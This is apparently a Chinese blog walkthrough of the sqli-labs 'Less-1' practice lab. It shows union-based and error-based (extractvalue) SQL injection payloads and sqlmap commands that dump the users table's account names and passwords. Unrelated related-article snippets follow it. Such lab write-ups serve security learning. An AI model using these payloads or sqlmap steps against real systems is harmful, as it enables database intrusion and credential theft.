union联合注入(方法一)

进入靶场

按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1

数据库执行语句:select * from news where id=1页面返回描述:返回内容正常

正常浏览页面,找到有参数的地方,如id

判断注入点

1.使用单引号来判断是否有注入点?id=1'

出现报错说明有注入点

判断注入类型

判断是数字型还是字符类型

数字型注入判断:

?id=1 and 1=1如果是数字型页面正常

?id=1 and 1=2如果是数字型页面返回内容为空,因为sql语句中,1=2不成立

以下页面都是正常的,可以判断这是一个字符串注入

字符串类型判断:

使用单引号和--+闭合进行判断

?id=1' and 1=1--+如果是字符型页面正常

?id=1' and 1=2--+如果是字符型页面返回内容为空,因为sql语句中,1=2不成立

以下页面的?id=1' and 1=2--+返回内容为空,可以判断这是一个字符串注入

判断字段

通过SQL语句中order by N 来判断有几个字段

order by N 页面报错 字段为N-1

字符型判断字段:

?id=1' order by 1--+ 页面正常

?id=1' order by 2--+ 页面正常

?id=1' order by 3--+ 页面正常

?id=1' order by 4--+ 页面报错

由此得出有3个字段

显位

id=1' and 1=2 union select 1,2,3--+

查库名

id' and 1=2 union select 1,database(),3--+

得到库名 security

查表

?id=1' and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

#单个账号和密码
?id=1' and 1=2 union select 1,username,passwoed form users--+

所有的账号和密码
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

报错注入(方法二)

前四步(判断注入点,判断类型,判断字段,显位)和union联合注入一样

报错注入模板:

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(查询语句))),3 --+

查库

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

报错信息成功查询到了库名

查表

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))),3 --+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

# 查询账号
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users))),3 --+
# 查询密码
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users))),3 --+

sqlmap工具

启动工具sqlmap

python sqlmap.py

来到靶场,安装要求添加ID?id=1

sqlamp查找漏洞注入点

  • 这样步可以直接跳过,从查库开始

复制路径http://192.168.121.129:8002/Less-1/?id=1

回到sqlmap工具的终端

-u: 添加一个url

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1

通过工具扫描出有4中方法可以注入

查库

默认工具使用方法注入,不指定方法

--dbs:查询数据库

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 --dbs

在运行过程中有提示回车默认选项就完事了

查出5个库,要对其进行判断,我们要查哪一个库,才能找到我们要查的内容

challenges

information_schema:系统库无需查

mysql:系统库无需查

performance_schema系统库无需查

security

查表

-dbs改为-D+库名secrity

--tables 查表

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security --tables

查出4个表,其中有一个users的表名,无需判断直接查表

 emails

referers

uagents

users

查列名

--columns 查列名

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users --columns

有四个列名查列名id,password,username的内容

查账号密码

使用--dump输出内容

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users -C id,password,username --dump

得出所以账号密码内容:

Less-1(GET字符型)的更多相关文章

  1. 字符型图片验证码识别完整过程及Python实现

    字符型图片验证码识别完整过程及Python实现 1   摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...

  2. [转]字符型IP地址转换成数字IP的SQL函数

    使用SQL函数可以实现许多的功能,下面为您介绍的是字符型IP地址转换成数字IP的SQL函数示例,供您参考,希望对您学习SQL函数能够有所帮助.      /**//*--调用示例       sele ...

  3. c++之字符型中的特殊字符回车符

    1.字符型的应用之强制类型转换: #include<iostream> using namespace std; int main() { ;i<;i++) { cout<&l ...

  4. FineReport根据点击次数奇偶性排序之字符型

    上一篇文章我们提到了字段为数据型的数据列排序方法,采用的是根据点击次数奇偶性来排序,那如果是字段为字符型,又该如何实现呢? 这里提供的解决思路是通过超级链接来实现升序降序两张模板之间的相互调用,每点击 ...

  5. (转)C语言16进制输出字符型变量问题

    最近在做一个C的嵌入式项目,发现在C语言中用printf()函数打印字符型变量时,如果想采用"%x"的格式将字符型变量值以十六进制形式打印出来,会出现一个小问题,如下: char  ...

  6. 如何为编程爱好者设计一款好玩的智能硬件(九)——LCD1602点阵字符型液晶显示模块驱动封装(下)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  7. 如何为编程爱好者设计一款好玩的智能硬件(八)——LCD1602点阵字符型液晶显示模块驱动封装(中)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  8. 如何为编程爱好者设计一款好玩的智能硬件(七)——LCD1602点阵字符型液晶显示模块驱动封装(上)

    当前进展: 一.我的构想:如何为编程爱好者设计一款好玩的智能硬件(一)——即插即用.积木化.功能重组的智能硬件模块构想 二.别人家的孩子:如何为编程爱好者设计一款好玩的智能硬件(二)——别人是如何设计 ...

  9. 让人又爱又恨的char(字符型)

    今天来总结一下char型,平常写算法的时候对这个东西感觉都有一点绕着走,说到底还是对这部分的知识不熟悉所以有点怕他,不过以后不要怕,今天来总结一下 首先,说到字符型数据类型,char型,恩它是一种数据 ...

  10. 在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’;输出这个数组中的所有元素。

    //在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’:输出这个数组中的所有元素. char [][]y=new char [10][10 ...

随机推荐

  1. 华为云ubunbu部署.NetCore3.1项目(DDD商城)

    提前项目打包发布,文件传输工具Filezilla,注意是选择sftp协议,将publish文件传到/home文件夹下 第一步  .NetCoreSDK安装 微软官方的文档https://docs.mi ...

  2. python续集

    上集回顾 数据类型内置方法简介 所有的数据类型基本上都自带了一些操作以及通过点的方式调用自带的方法 整型相关操作 类型转换 int() 十进制转其他进制 bin() oct() hex() 其他进制转 ...

  3. springboot的注解声明过滤器配置错误导致拦截所有请求。

    究其原因, 原来spring 扫包时候 扫了Webfilter 注解,注册了一次过滤匹配路径,扫了Component注解(又注册了一次过滤匹配路径,默认是全路径). Component注解后于WebF ...

  4. 驱动开发:内核枚举LoadImage映像回调

    在笔者之前的文章<驱动开发:内核特征码搜索函数封装>中我们封装实现了特征码定位功能,本章将继续使用该功能,本次我们需要枚举内核LoadImage映像回调,在Win64环境下我们可以设置一个 ...

  5. composer 报错 The "https://mirrors.aliyun.com/composer/p....json" file could not be downloaded (HTTP/1.1 404 Not Found)

    [Composer\Downloader\TransportException] The "https://mirrors.aliyun.com/composer/p/provider-20 ...

  6. (数据科学学习手札145)在Python中利用yarl轻松操作url

    本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 大家好我是费老师,在诸如网络爬虫.web应用开发 ...

  7. Blog1:nchu-software-oop-2022-1~3

    (1) 前言 针对在完成三次作业过程中产生的问题进行总结与分析. 三次作业一共十五(9+3+3)道题目,其中前两次难度较为简单,第三次复杂程度飞跃式上涨. 其中,涉及到java语言中基本的输入输出语句 ...

  8. glusterfs安装配置

    目标: 原有的k8s的集群磁盘容量不够,数据迁移无法完成,数据迁移是物理机无法由于采购磁盘流程过程,申请虚拟机搭建glusterfs做分布式存储 磁盘规划: # 查看盘符 $ lsblk # 然后创建 ...

  9. PageRank原理分析

    pagerank是将众多网页看成一个有向图,每个页面就是有向图中的节点.计算每个节点的出度和入度.如果一个网站被大量其他的网页引用,那么他就会有更高的pr分数. 原理 对于所有与节点i相连的节点,用他 ...

  10. 类视图函数 VIEW

    常用的视图函数: ListView.DetailView.UpdateView 1 ListView object_list:此属性表示对象的列表 常用场景: 1.展示数据库中信息: 2.在展示信息时 ...